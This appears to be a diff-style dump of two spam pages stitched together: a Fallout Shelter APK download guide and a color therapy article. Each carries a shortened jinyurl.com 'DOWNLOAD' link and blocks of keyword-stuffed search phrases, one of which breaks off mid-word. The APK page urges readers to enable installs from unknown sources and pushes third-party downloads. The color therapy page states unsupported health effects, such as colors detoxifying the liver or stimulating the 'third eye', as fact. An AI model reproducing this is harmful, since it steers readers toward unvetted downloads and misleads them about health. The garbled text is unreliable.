<h2>download fallout shelter apk</h2><br /><p><b><b>DOWNLOAD</b> ✔ <a href="https://jinyurl.com/2uNKY2">https://jinyurl.com/2uNKY2</a></b></p><br /><br />
|
5 |
-
<h2>What is Fallout Shelter?</h2>
|
6 |
-
<h3>A brief introduction to the game and its features</h3>
|
7 |
-
<p>Fallout Shelter is a mobile game developed by Bethesda Softworks LLC, the same studio behind the famous Fallout series. It was released in 2015 and won several awards, including Google Play Best of 2015, Mobile Game of the Year at the 2016 DICE Awards, and Best Handheld/Mobile Game at the 2015 Golden Joystick Awards.</p>
|
8 |
-
<p>In Fallout Shelter, you are in charge of a state-of-the-art underground vault that shelters people from the nuclear war that has devastated the world. Your goal is to build and expand your vault, provide your dwellers with resources, outfits, weapons, and training, and protect them from threats from the outside and within.</p>
|
9 |
-
<h3>Why you should play Fallout Shelter</h3>
|
10 |
-
<p>Fallout Shelter is not just a simple simulation game. It is a game that offers you endless possibilities and fun. Here are some reasons why you should play Fallout Shelter:</p>
|
11 |
-
<ul>
|
12 |
-
<li>It is simple to play and addictive as hell. You can easily get hooked on designing your vault, assigning your dwellers to their ideal jobs, crafting items from junk, customizing their appearance, and watching them interact with each other.</li>
|
13 |
-
<li>It is rich in content and variety. You can explore different themes and styles for your vault, such as medieval, futuristic, or retro. You can also send your dwellers to explore the wasteland and find new armor, weapons, caps, and even pets. You can also encounter random events and quests that add more excitement and challenge to your game.</li>
|
14 |
-
<li>It is immersive and engaging. You can feel like you are part of the Fallout universe, with its unique aesthetics, humor, and lore. You can also enjoy the stunning graphics, animations, sound effects, and music that make your vault come alive.</li>
|
15 |
-
</ul>
|
16 |
-
<h2>How to download Fallout Shelter APK</h2>
|
17 |
-
<h3>The benefits of downloading the APK file</h3>
|
18 |
-
<p>If you want to play Fallout Shelter on your Android device, you have two options: you can download it from Google Play Store or you can download the APK file from a third-party source. The APK file is an application package file that contains all the data and files needed to install and run an app on your device.</p>
|
19 |
-
<p>There are some benefits of downloading the APK file instead of using Google Play Store. For example:</p>
|
20 |
-
<p>download fallout shelter game for android<br />
|
21 |
-
fallout shelter apk latest version free download<br />
|
22 |
-
how to install fallout shelter apk on android<br />
|
23 |
-
fallout shelter mod apk unlimited everything download<br />
|
24 |
-
fallout shelter online apk download english<br />
|
25 |
-
download fallout shelter apk from bethesda website<br />
|
26 |
-
fallout shelter apk file size and requirements<br />
|
27 |
-
fallout shelter apk offline mode download<br />
|
28 |
-
fallout shelter apk obb data download<br />
|
29 |
-
fallout shelter hack apk download no root<br />
|
30 |
-
download fallout shelter apk for pc windows 10<br />
|
31 |
-
fallout shelter apk download for ios devices<br />
|
32 |
-
fallout shelter apk mirror download link<br />
|
33 |
-
fallout shelter apk pure download safe<br />
|
34 |
-
fallout shelter apk uptodown download site<br />
|
35 |
-
download fallout shelter save editor apk<br />
|
36 |
-
fallout shelter lunchbox hack apk download<br />
|
37 |
-
fallout shelter cheats apk download android<br />
|
38 |
-
fallout shelter 1.15.10 apk download update<br />
|
39 |
-
fallout shelter 1.14.10 apk download old version<br />
|
40 |
-
download fallout shelter mod menu apk<br />
|
41 |
-
fallout shelter mega mod apk download free<br />
|
42 |
-
fallout shelter unlimited caps apk download<br />
|
43 |
-
fallout shelter cracked apk download full<br />
|
44 |
-
fallout shelter premium apk download paid<br />
|
45 |
-
download fallout shelter simulator game apk<br />
|
46 |
-
fallout shelter adventure game apk download<br />
|
47 |
-
fallout shelter strategy game apk download<br />
|
48 |
-
fallout shelter rpg game apk download<br />
|
49 |
-
fallout shelter sandbox game apk download<br />
|
50 |
-
download fallout shelter game guide apk<br />
|
51 |
-
fallout shelter game tips and tricks apk download<br />
|
52 |
-
fallout shelter game walkthrough apk download<br />
|
53 |
-
fallout shelter game review and rating apk download<br />
|
54 |
-
fallout shelter game trailer and gameplay apk download<br />
|
55 |
-
download fallout shelter game theme song apk<br />
|
56 |
-
fallout shelter game soundtrack and music apk download<br />
|
57 |
-
fallout shelter game wallpapers and images apk download<br />
|
58 |
-
fallout shelter game stickers and emojis apk download<br />
|
59 |
-
fallout shelter game fan art and comics apk download<br />
|
60 |
-
download fallout shelter game characters and vaults apk<br />
|
61 |
-
fallout shelter game weapons and outfits apk download<br />
|
62 |
-
fallout shelter game quests and events apk download<br />
|
63 |
-
fallout shelter game pets and robots apk download<br />
|
64 |
-
fallout shelter game crafting and building apk download<br />
|
65 |
-
fallout shelt</p>
|
66 |
-
<ul>
|
67 |
-
<li>You can access the latest version of the game before it is officially released on Google Play Store.</li>
|
68 |
-
<li>You can bypass any regional restrictions or compatibility issues that may prevent you from downloading or installing the game from Google Play Store.</li>
|
69 |
-
<li>You can save some storage space on your device by deleting the APK file after installing the game.</li> <h3>The steps to download and install the APK file</h3>
|
70 |
-
<p>If you decide to download the APK file of Fallout Shelter, you need to follow these steps:</p>
|
71 |
-
<ol>
|
72 |
-
<li>Find a reliable and trustworthy source that offers the APK file of Fallout Shelter. You can use a search engine or a website that reviews and rates APK files. Make sure to check the ratings, reviews, and comments of other users before downloading the file.</li>
|
73 |
-
<li>Download the APK file to your device. You may need to enable the option to allow downloads from unknown sources in your device settings. This will let you install apps that are not from Google Play Store.</li>
|
74 |
-
<li>Locate the APK file on your device and tap on it to start the installation process. You may need to grant some permissions to the app to access your device features and data.</li>
|
75 |
-
<li>Wait for the installation to finish and then launch the game from your app drawer or home screen.</li>
|
76 |
-
</ol>
|
77 |
-
<p>Congratulations, you have successfully downloaded and installed Fallout Shelter APK on your Android device. You can now enjoy playing the game anytime and anywhere.</p>
|
78 |
-
<h2>How to play Fallout Shelter</h2>
|
79 |
-
<h3>The basics of building and managing your vault</h3>
|
80 |
-
<p>Once you start the game, you will be greeted by a tutorial that will guide you through the basics of building and managing your vault. Here are some of the things you need to know:</p>
|
81 |
-
<ul>
|
82 |
-
<li>Your vault is divided into different rooms that serve different purposes, such as power generators, water treatment plants, diners, living quarters, medbays, science labs, workshops, storage rooms, and more. You can build new rooms by tapping on the hammer icon at the bottom right corner of the screen and dragging them to an empty space in your vault.</li>
|
83 |
-
<li>Your rooms need power, water, and food to function properly. You can produce these resources by assigning dwellers to work in the corresponding rooms. You can also upgrade your rooms to increase their capacity and efficiency.</li>
|
84 |
-
<li>Your dwellers are the people who live in your vault. They have different stats, skills, traits, and preferences that affect their performance and happiness. You can view their details by tapping on them or by accessing the dweller list at the bottom left corner of the screen.</li>
|
85 |
-
<li>You can improve your dwellers' stats by training them in special rooms, such as the gym, classroom, armory, or lounge. You can also equip them with outfits and weapons that boost their stats and abilities.</li>
|
86 |
-
<li>You can increase your population by attracting new dwellers from the wasteland or by making your existing dwellers have babies. You can also customize your dwellers' appearance by changing their hair, facial features, or clothing.</li>
|
87 |
-
</ul>
|
88 |
-
<h3>The tips and tricks to make your dwellers happy and prosperous</h3>
|
89 |
-
<p>Building and managing your vault is not enough. You also need to make sure that your dwellers are happy and prosperous. Here are some tips and tricks to help you achieve that:</p>
|
90 |
-
<ul>
|
91 |
-
<li>Keep an eye on your dwellers' happiness level, which is indicated by a smiley face icon above their heads. Happy dwellers work harder, produce more resources, and earn more caps. Unhappy dwellers may become depressed, sick, or rebellious.</li>
|
92 |
-
<li>To increase your dwellers' happiness, you need to fulfill their needs and desires. Some of the factors that affect their happiness are: having enough resources, working in their ideal jobs, living in comfortable rooms, having friends or partners, receiving rewards or bonuses, being healthy and safe, etc.</li>
|
93 |
-
<li>You can also use some items or actions that boost your dwellers' happiness, such as giving them stimpacks or radaways, playing with pets, sending them on quests or explorations, hosting parties or events, etc.</li>
|
94 |
-
<li>Avoid doing things that lower your dwellers' happiness, such as overworking them, starving them, exposing them to radiation or diseases, ignoring their complaints or requests, punishing them or sending them to isolation chambers, etc.</li>
|
95 |
-
</ul> <h3>The challenges and rewards of exploring the wasteland</h3>
|
96 |
-
<p>Another aspect of playing Fallout Shelter is exploring the wasteland. You can send your dwellers to venture outside the vault and discover new locations, items, and enemies. Exploring the wasteland can be challenging but also rewarding. Here are some of the things you need to know:</p>
|
97 |
-
<ul>
|
98 |
-
<li>You can select any dweller to explore the wasteland by tapping on the wasteland icon at the bottom right corner of the screen and dragging them to the exit door. You can also equip them with outfits, weapons, stimpacks, and radaways to increase their chances of survival.</li>
|
99 |
-
<li>Your explorer will automatically travel and explore the wasteland, encountering various events and situations. You can view their progress and status by tapping on their portrait in the wasteland menu. You can also recall them back to the vault at any time.</li>
|
100 |
-
<li>Exploring the wasteland can be dangerous, as your explorer may face hostile creatures, raiders, or other threats. They may also suffer from radiation, hunger, thirst, or fatigue. You need to monitor their health and resource levels and use stimpacks or radaways when necessary.</li>
|
101 |
-
<li>Exploring the wasteland can also be rewarding, as your explorer may find valuable items, such as caps, junk, weapons, outfits, recipes, or even legendary items. They may also gain experience and level up their stats and skills.</li>
|
102 |
-
<li>You can also send your dwellers on quests, which are special missions that require a team of dwellers with specific requirements. Quests can be found in the overseer's office or in the radio room. Quests can offer more rewards and challenges than regular exploration.</li>
|
103 |
-
</ul>
|
104 |
-
<h2>Conclusion</h2>
|
105 |
-
<h3>A summary of the main points and a call to action</h3>
|
106 |
-
<p>Fallout Shelter is a game that lets you create and manage your own vault in a post-apocalyptic world. It is a game that is simple to play but rich in content and variety. It is a game that is immersive and engaging. It is a game that you should download and play on your Android device today.</p>
|
107 |
-
<p>To download Fallout Shelter APK, you just need to find a reliable source that offers the APK file, download it to your device, and install it following some simple steps. Then you can start building your vault, managing your dwellers, and exploring the wasteland.</p>
|
108 |
-
<p>So what are you waiting for? Download Fallout Shelter APK now and enjoy one of the best mobile games of all time.</p>
|
109 |
-
<h2>FAQs</h2>
|
110 |
-
<h4>Q1: Is Fallout Shelter free to play?</h4>
|
111 |
-
<p>A1: Yes, Fallout Shelter is free to play. You can download and play it without spending any money. However, the game also offers some optional in-app purchases that can enhance your gameplay experience. You can buy lunchboxes that contain random items, Nuka-Cola Quantum that speeds up your actions, or bundles that offer special deals.</p>
|
112 |
-
<h4>Q2: Is Fallout Shelter compatible with my device?</h4>
|
113 |
-
<p>A2: Fallout Shelter requires Android 4.1 or higher to run. It also requires at least 200 MB of free storage space on your device. You can check your device's specifications and compatibility before downloading the game.</p>
|
114 |
-
<h4>Q3: How can I update Fallout Shelter?</h4>
|
115 |
-
<p>A3: If you downloaded Fallout Shelter from Google Play Store, you can update it automatically or manually through the store app. If you downloaded Fallout Shelter APK from a third-party source, you need to download and install the latest version of the APK file from the same source.</p>
|
116 |
-
<h4>Q4: How can I backup my game data?</h4>
|
117 |
-
<p>A4: Fallout Shelter allows you to backup your game data to the cloud using Google Play Games or Facebook. You can enable this option in the game settings menu. This way, you can restore your game data if you lose or change your device.</p>
|
118 |
-
<h4>Q5: How can I contact the developers of Fallout Shelter?</h4>
|
119 |
-
<p>A5: If you have any questions, feedback, or issues regarding Fallout Shelter, you can contact the developers by emailing them at [email protected] or by visiting their official website at https://bethesda.net/en/game/fallout-shelter.</p> 401be4b1e0<br />
|
120 |
-
<br />
|
121 |
-
<br />
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/1phancelerku/anime-remove-background/Daily Color A Paint by Number Game with Stunning and Diverse Images.md
DELETED
@@ -1,182 +0,0 @@
|
|
1 |
-
|
2 |
-
<h1>Color Therapy: How to Use Colors to Improve Your Mood and Health</h1>
|
3 |
-
<p>Have you ever noticed how colors can affect your feelings and emotions? Do you feel more relaxed in a green room or more energetic in a red one? Do you prefer warm or cool colors for your clothing or home decor? If so, you are not alone. Colors have a powerful impact on our mood, behavior, and well-being. That's why some people use color therapy as a way to enhance their physical and mental health.</p>
|
4 |
-
<p>Color therapy, also known as chromotherapy, is a form of alternative medicine that uses color and light to treat various conditions. It is based on the idea that different colors have different effects on our mood, energy, and well-being. By exposing ourselves to certain colors or wearing them, we can influence our emotional responses, stimulate our senses, and balance our body's energy.</p>
|
5 |
-
<h2>daily color</h2><br /><p><b><b>DOWNLOAD</b> === <a href="https://jinyurl.com/2uNRnK">https://jinyurl.com/2uNRnK</a></b></p><br /><br />
|
6 |
-
<p>In this article, we will explore the history, types, meanings, combinations, and trends of color therapy. We will also answer some common questions about this fascinating topic. By the end of this article, you will have a better understanding of how colors can improve your mood and health.</p>
|
7 |
-
<h2>History of Color Therapy</h2>
|
8 |
-
<p>Color therapy has a long and rich history that dates back to ancient civilizations. The Egyptians, Greeks, Chinese, and Indians all used colors for healing purposes. They believed that colors were manifestations of light and divine energy. They used colored stones, crystals, fabrics, candles, and sunlight to treat different ailments and enhance their spiritual practices.</p>
|
9 |
-
<p>In the 17th century, Sir Isaac Newton discovered that white light could be split into different colors by passing it through a prism. He also found that each color had a specific wavelength and frequency. This led to the development of the color wheel, which shows the relationship between primary, secondary, and tertiary colors.</p>
|
10 |
-
<p>In the 19th century, several scientists and doctors experimented with the effects of colors on human physiology and psychology. They found that colors could influence blood pressure, heart rate, respiration, metabolism, and nervous system activity. They also observed that colors could evoke different emotions and moods in people.</p>
|
11 |
-
<p>In the 20th century, color therapy became more popular as a complementary or alternative medicine practice. Many practitioners combined it with other modalities such as aromatherapy, acupuncture, massage, or Reiki. They also used modern technology such as colored lamps, lasers, or screens to apply colors to specific areas of the body.</p>
|
12 |
-
<p>Today, color therapy is still widely used by many people who seek natural ways to improve their health and happiness. It is also recognized by some medical professionals as a supportive treatment for certain conditions such as depression, anxiety, insomnia, chronic pain, or stress.</p>
|
13 |
-
<h2>Types of Color Therapy</h2>
|
14 |
-
<p>There are two main types of color therapy: sight-based and light-based. Sight-based color therapy involves looking at certain colors or wearing them. Light-based color therapy involves exposing certain parts of the body to colored lights or rays.</p>
|
15 |
-
<h3>Sight-based Color Therapy</h3>
|
16 |
-
<p>Sight-based color therapy is based on the idea that our eyes can perceive different colors and send signals to our brain that affect our mood and behavior. By looking at certain colors or wearing them, we can influence our emotional responses and stimulate our senses.</p>
|
17 |
-
<p>daily color paint by number<br />
|
18 |
-
daily color by number game<br />
|
19 |
-
daily coloring book<br />
|
20 |
-
daily coloring pages<br />
|
21 |
-
daily coloring app<br />
|
22 |
-
daily color by number for adults<br />
|
23 |
-
daily color by number online<br />
|
24 |
-
daily color by number free<br />
|
25 |
-
daily color by number printable<br />
|
26 |
-
daily color by number puzzles<br />
|
27 |
-
daily color by number reviews<br />
|
28 |
-
daily color by number download<br />
|
29 |
-
daily color by number apk<br />
|
30 |
-
daily color by number ios<br />
|
31 |
-
daily color by number android<br />
|
32 |
-
daily color by number app store<br />
|
33 |
-
daily color by number google play<br />
|
34 |
-
daily color by number tips<br />
|
35 |
-
daily color by number cheats<br />
|
36 |
-
daily color by number hack<br />
|
37 |
-
daily color by number mod<br />
|
38 |
-
daily color by number premium<br />
|
39 |
-
daily color by number subscription<br />
|
40 |
-
daily color by number cancel<br />
|
41 |
-
daily color by number refund<br />
|
42 |
-
daily color by number support<br />
|
43 |
-
daily color by number contact<br />
|
44 |
-
daily color by number help<br />
|
45 |
-
daily color by number faq<br />
|
46 |
-
daily color by number tutorial<br />
|
47 |
-
daily color by number guide<br />
|
48 |
-
daily color by number how to play<br />
|
49 |
-
daily color by number best pictures<br />
|
50 |
-
daily color by number new pictures<br />
|
51 |
-
daily color by number update<br />
|
52 |
-
daily color by number latest version<br />
|
53 |
-
daily color by number features<br />
|
54 |
-
daily color by number categories<br />
|
55 |
-
daily color by number themes<br />
|
56 |
-
daily color by number animals<br />
|
57 |
-
daily color by number flowers<br />
|
58 |
-
daily color by number mandalas<br />
|
59 |
-
daily color by number landscapes<br />
|
60 |
-
daily color by number portraits<br />
|
61 |
-
daily color by number fantasy<br />
|
62 |
-
daily color by number art<br />
|
63 |
-
daily color by number relaxation<br />
|
64 |
-
daily color by number stress relief</p>
|
65 |
-
<p>Some examples of sight-based color therapy are:</p>
|
66 |
-
<ul>
|
67 |
-
<li>Using colored glasses or lenses to filter out unwanted colors or enhance desired ones.</li>
|
68 |
-
<li>Painting your walls or furniture with colors that suit your personality or mood.</li <li>Choosing your clothes or accessories based on the colors that make you feel good or express your mood.</li>
|
69 |
-
<li>Creating or viewing artworks that use colors to convey emotions or messages.</li>
|
70 |
-
<li>Meditating or visualizing with colors that help you relax or energize.</li>
|
71 |
-
</ul>
|
72 |
-
<p>Sight-based color therapy can be done anywhere and anytime, as long as you have access to colors. You can experiment with different colors and see how they affect you. You can also consult a color therapist who can guide you on how to use colors for your specific needs and goals.</p>
|
73 |
-
<h3>Light-based Color Therapy</h3>
|
74 |
-
<p>Light-based color therapy is based on the idea that our skin can absorb different colors and send signals to our body that affect our health and well-being. By exposing certain parts of the body to colored lights or rays, we can influence our physiological processes and balance our energy.</p>
|
75 |
-
<p>Some examples of light-based color therapy are:</p>
|
76 |
-
<ul>
|
77 |
-
<li>Using colored lamps, bulbs, or candles to create a certain ambiance or mood in your room.</li>
|
78 |
-
<li>Using colored lasers, LEDs, or screens to apply colors to specific areas of the body, such as the eyes, ears, nose, mouth, or hands.</li>
|
79 |
-
<li>Using colored filters, gels, or slides to project colors onto the body or the environment.</li>
|
80 |
-
<li>Using solarized water, which is water that has been exposed to sunlight through colored glass bottles, to drink or bathe in.</li>
|
81 |
-
<li>Using gemstones, crystals, or minerals that have been charged with color energy to wear or place on the body.</li>
|
82 |
-
</ul>
|
83 |
-
<p>Light-based color therapy can be done at home or in a professional setting, such as a spa, clinic, or salon. You can use different devices or tools that emit colored lights or rays. You can also consult a color therapist who can advise you on how to use colors for your specific conditions and symptoms.</p>
|
84 |
-
<h2>Color Meanings</h2>
|
85 |
-
<p>Colors have different meanings and effects on our mood and health. They can be classified into three categories: warm, cool, and neutral. Warm colors are red, orange, and yellow. They are associated with energy, passion, and excitement. Cool colors are blue, green, and purple. They are associated with calmness, harmony, and creativity. Neutral colors are black, white, gray, and brown. They are associated with balance, stability, and sophistication.</p>
|
86 |
-
<p>Here are some of the psychological and physiological effects of different colors:</p>
|
87 |
-
<table>
|
88 |
-
<tr><th>Color</th><th>Psychological Effects</th><th>Physiological Effects</th></tr>
|
89 |
-
<tr><td>Red</td><td>Inspires confidence, courage, and action. Stimulates appetite and sexual desire. Can also evoke anger, aggression, or danger.</td><td>Increases blood pressure, heart rate, respiration, and metabolism. Enhances physical performance and alertness.</td></tr>
|
90 |
-
<tr><td>Orange</td><td>Promotes joy, enthusiasm, and optimism. Encourages social interaction and communication. Can also cause irritation or anxiety.</td><td>Boosts immune system and digestion. Relieves pain and inflammation. Stimulates creativity and memory.</td></tr>
|
91 |
-
<tr><td>Yellow</td><td>Cultivates happiness, positivity, and wisdom. Improves concentration and learning abilities. Can also trigger fear or nervousness.</td><td>Balances hormones and nervous system. Detoxifies the body and stimulates the liver. Brightens the mood and lifts the spirits.</td></tr>
|
92 |
-
<tr><td>Green</td><td>Fosters peace, harmony, and growth. Enhances relaxation and healing abilities. Can also induce boredom or envy.</td><td>Lowers blood pressure, heart rate, respiration, and stress levels. Strengthens the immune system and promotes tissue regeneration. Calms the mind and body.</td></tr>
|
93 |
-
<tr><td>Blue</td><td>Induces calmness, tranquility, and trust. Supports communication and expression abilities. Can also cause sadness or depression.</td><td>Decreases blood pressure, heart rate, respiration, and metabolism. Reduces pain and inflammation. Relaxes the muscles and nerves.</td></tr>
|
94 |
-
<tr><td>Purple</td><td>Arouses spirituality, intuition , and creativity. Stimulates imagination and inspiration abilities. Can also cause confusion or arrogance.</td><td>Regulates hormones and endocrine system. Enhances mental and emotional balance. Stimulates the pineal gland and the third eye.</td></tr>
|
95 |
-
<tr><td>Pink</td><td>Represents love, compassion, and kindness. Nurtures emotional and relational abilities. Can also cause immaturity or weakness.</td><td>Calms the heart and emotions. Soothes the skin and reduces swelling. Softens the mood and the atmosphere.</td></tr>
|
96 |
-
<tr><td>Brown</td><td>Symbolizes stability, security, and reliability. Supports practical and logical abilities. Can also cause dullness or boredom.</td><td>Grounds the body and the energy. Supports the skeletal and muscular systems. Provides a sense of comfort and warmth.</td></tr>
|
97 |
-
<tr><td>Black</td><td>Denotes power, elegance, and mystery. Enhances sophistication and authority abilities. Can also cause negativity or depression.</td><td>Absorbs all colors and energy. Protects the body and the aura. Creates a sense of depth and contrast.</td></tr>
|
98 |
-
<tr><td>White</td><td>Signifies purity, clarity, and simplicity. Enhances awareness and perception abilities. Can also cause sterility or isolation.</td><td>Reflects all colors and energy. Purifies the body and the aura. Creates a sense of space and lightness.</td></tr>
|
99 |
-
<tr><td>Gray</td><td>Represents neutrality, balance, and detachment. Supports rational and analytical abilities. Can also cause indifference or apathy.</td><td>Harmonizes all colors and energy. Moderates the body and the aura. Creates a sense of calmness and composure.</td></tr>
|
100 |
-
</table>
|
101 |
-
<h2>Color Combinations</h2>
|
102 |
-
<p>Besides using individual colors, you can also use color combinations to create different effects on your mood and health. You can use the color wheel and color harmony rules to create effective color schemes for different purposes.</p>
|
103 |
-
<p>The color wheel is a circular diagram that shows the relationship between primary, secondary, and tertiary colors. Primary colors are red, yellow, and blue. They are the basic colors that cannot be created by mixing other colors. Secondary colors are orange, green, and purple. They are created by mixing two primary colors. Tertiary colors are red-orange, yellow-orange, yellow-green, blue-green, blue-purple, and red-purple. They are created by mixing a primary color with a secondary color.</p>
|
104 |
-
<p>Color harmony is the principle of combining colors in a way that is pleasing to the eye and creates a sense of order and balance. There are different types of color harmony rules, such as:</p>
|
105 |
-
<ul>
|
106 |
-
<li>Complementary: Using two colors that are opposite each other on the color wheel, such as red and green or blue and orange. This creates a high contrast and a vibrant effect.</li>
|
107 |
-
<li>Analogous: Using three colors that are next to each other on the color wheel, such as yellow-green, green, and blue-green or red-purple, purple, and blue-purple. This creates a low contrast and a harmonious effect.</li>
|
108 |
-
<li>Triadic: Using three colors that are evenly spaced on the color wheel, such as red, yellow, and blue or orange, green, and purple. This creates a balanced and dynamic effect.</li>
|
109 |
-
<li>Tetradic: Using four colors that form two pairs of complementary colors on the color wheel, such as red-orange, blue-green, yellow-orange, and blue-purple or red-purple, yellow-green, blue-purple, and yellow-orange. This creates a complex and diverse effect.</li>
|
110 |
-
</ul>
|
111 |
-
<p>You can use these color harmony rules to create color schemes for different purposes, such as:</p>
|
112 |
-
<ul>
|
113 |
-
<li>Relaxation: Using cool or neutral colors that create a soothing and calming effect, such as blue, green, gray, or white.</li>
|
114 |
-
<li>Stimulation: Using warm or bright colors that create an energizing and exciting effect, such as red, orange, yellow, or pink.</li>
|
115 |
-
<li>Balance: Using complementary or triadic colors that create a balanced and dynamic effect, such as red and green or orange, green, and purple.</li>
|
116 |
-
<li>Creativity: Using analogous or tetradic colors that create a harmonious and complex effect, such as yellow-green, green, and blue-green or red-orange, blue-green, yellow-orange, and blue-purple.</li>
|
117 |
-
</ul>
|
118 |
-
<p>You can also experiment with different shades, tints, tones, and saturation levels of colors to create different effects. Shades are created by adding black to a color, making it darker. Tints are created by adding white to a color, making it lighter. Tones are created by adding gray to a color, making it duller. Saturation is the intensity or purity of a color, ranging from low to high.</p>
|
119 |
-
<h2>Color Trends</h2>
|
120 |
-
<p>Color trends are the changes and developments in the use and preference of colors over time. They are influenced by various factors, such as culture, society, technology, fashion, art, and psychology. Color trends can reflect the mood and attitude of the people and the times.</p>
|
121 |
-
<p>Some of the current and emerging trends in color therapy are:</p>
|
122 |
-
<ul>
|
123 |
-
<li>Acidic hues: These are bright and vivid colors that have a high saturation and contrast level. They are inspired by neon lights, digital art, and pop culture. They create a fun and playful effect. Some examples are lime green, hot pink, electric blue, and fluorescent yellow.</li>
|
124 |
-
<li>Silver chrome: This is a metallic and shiny color that has a futuristic and sleek look. It is inspired by technology, science fiction, and innovation. It creates a cool and sophisticated effect. Some examples are silver, platinum, steel, and mercury.</li>
|
125 |
-
<li>Dark sci-fi tones: These are dark and muted colors that have a low saturation and contrast level. They are inspired by dystopian novels, movies, and games. They create a mysterious and ominous effect. Some examples are black, charcoal, navy, and burgundy.</li>
|
126 |
-
</ul>
|
127 |
-
<p>These color trends can be used to create different moods and atmospheres in your space or your clothing. You can also mix and match them with other colors to create your own unique style.</p>
|
128 |
-
<h2>Conclusion</h2>
|
129 |
-
<p>Color therapy is a form of alternative medicine that uses color and light to improve your mood and health. It has a long history that dates back to ancient civilizations. It has two main types: sight-based and light-based. It has different meanings and effects on our mood and health. They can be classified into three categories: warm, cool, and neutral. They can also be combined using the color wheel and color harmony rules to create different color schemes. They also have different trends that reflect the mood and attitude of the people and the times.</p>
|
130 |
-
<p>Color therapy can be a simple and effective way to enhance your physical and mental health. By using colors that suit your personality, mood, or goals, you can influence your emotional responses, stimulate your senses, and balance your energy. You can also experiment with different colors and see how they affect you. You can also consult a color therapist who can help you use colors for your specific needs and goals.</p>
|
131 |
-
<p>So, what are you waiting for? Start using colors to improve your mood and health today. You will be amazed by the results.</p>
|
132 |
-
<h2>FAQs</h2>
|
133 |
-
<p>Here are some frequently asked questions about color therapy and their answers:</p>
|
134 |
-
<ol>
|
135 |
-
<li>What are the benefits of color therapy?</li>
|
136 |
-
<p>Color therapy can have various benefits for your mood and health, such as:</p>
|
137 |
-
<ul>
|
138 |
-
<li>Improving your emotional well-being and reducing stress, anxiety, or depression.</li>
|
139 |
-
<li>Enhancing your physical performance and reducing pain, inflammation, or fatigue.</li>
|
140 |
-
<li>Boosting your cognitive abilities and improving your concentration, memory, or creativity.</li>
|
141 |
-
<li>Balancing your energy and harmonizing your chakras.</li>
|
142 |
-
<li>Expressing your personality and style.</li>
|
143 |
-
</ul>
|
144 |
-
<li>How do I know which colors to use for color therapy?</li>
|
145 |
-
<p>You can use different methods to choose colors for color therapy, such as:</p>
|
146 |
-
<ul>
|
147 |
-
<li>Using your intuition and personal preference.</li>
|
148 |
-
<li>Using the meanings and effects of different colors as a guide.</li>
|
149 |
-
<li>Using the color wheel and color harmony rules to create color schemes.</li>
|
150 |
-
<li>Using the color trends to follow the current or emerging styles.</li>
|
151 |
-
<li>Consulting a color therapist who can advise you on the best colors for your needs and goals.</li>
|
152 |
-
</ul>
|
153 |
-
<li>How do I apply color therapy?</li>
|
154 |
-
<p>You can apply color therapy in different ways, such as:</p>
|
155 |
-
<ul>
|
156 |
-
<li>Looking at certain colors or wearing them.</li>
|
157 |
-
<li>Exposing certain parts of the body to colored lights or rays.</li <li>Using colored objects or tools, such as glasses, candles, crystals, or water.</li>
|
158 |
-
<li>Using colored artworks or images, such as paintings, photos, or videos.</li>
|
159 |
-
<li>Meditating or visualizing with colors.</li>
|
160 |
-
</ul>
|
161 |
-
<li>Are there any risks or side effects of color therapy?</li>
|
162 |
-
<p>Color therapy is generally safe and harmless, as long as you use it properly and moderately. However, some people may experience some risks or side effects, such as:</p>
|
163 |
-
<ul>
|
164 |
-
<li>Eye strain or headache from looking at bright or flashing colors.</li>
|
165 |
-
<li>Skin irritation or allergy from wearing or touching certain colors.</li>
|
166 |
-
<li>Emotional imbalance or mood swings from using too much or too little of certain colors.</li>
|
167 |
-
<li>Interference with other treatments or medications from using colors that are incompatible or contraindicated.</li>
|
168 |
-
</ul>
|
169 |
-
<p>If you have any medical conditions or concerns, you should consult your doctor before using color therapy. You should also avoid using colors that make you feel uncomfortable or unwell.</p>
|
170 |
-
<li>Where can I learn more about color therapy?</li>
|
171 |
-
<p>If you want to learn more about color therapy, you can:</p>
|
172 |
-
<ul>
|
173 |
-
<li>Read books, articles, blogs, or magazines about color therapy.</li>
|
174 |
-
<li>Watch videos, podcasts, webinars, or documentaries about color therapy.</li>
|
175 |
-
<li>Take courses, workshops, seminars, or classes about color therapy.</li>
|
176 |
-
<li>Join online forums, groups, communities, or networks about color therapy.</li>
|
177 |
-
<li>Visit websites, apps, platforms, or tools that offer color therapy services or products.</li>
|
178 |
-
</ul>
|
179 |
-
<h2></h2>
|
180 |
-
<p>This is the end of the article. I hope you enjoyed reading it and learned something new about color therapy. Thank you for your attention and interest. Have a colorful day!</p> 401be4b1e0<br />
|
181 |
-
<br />
|
182 |
-
<br />
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
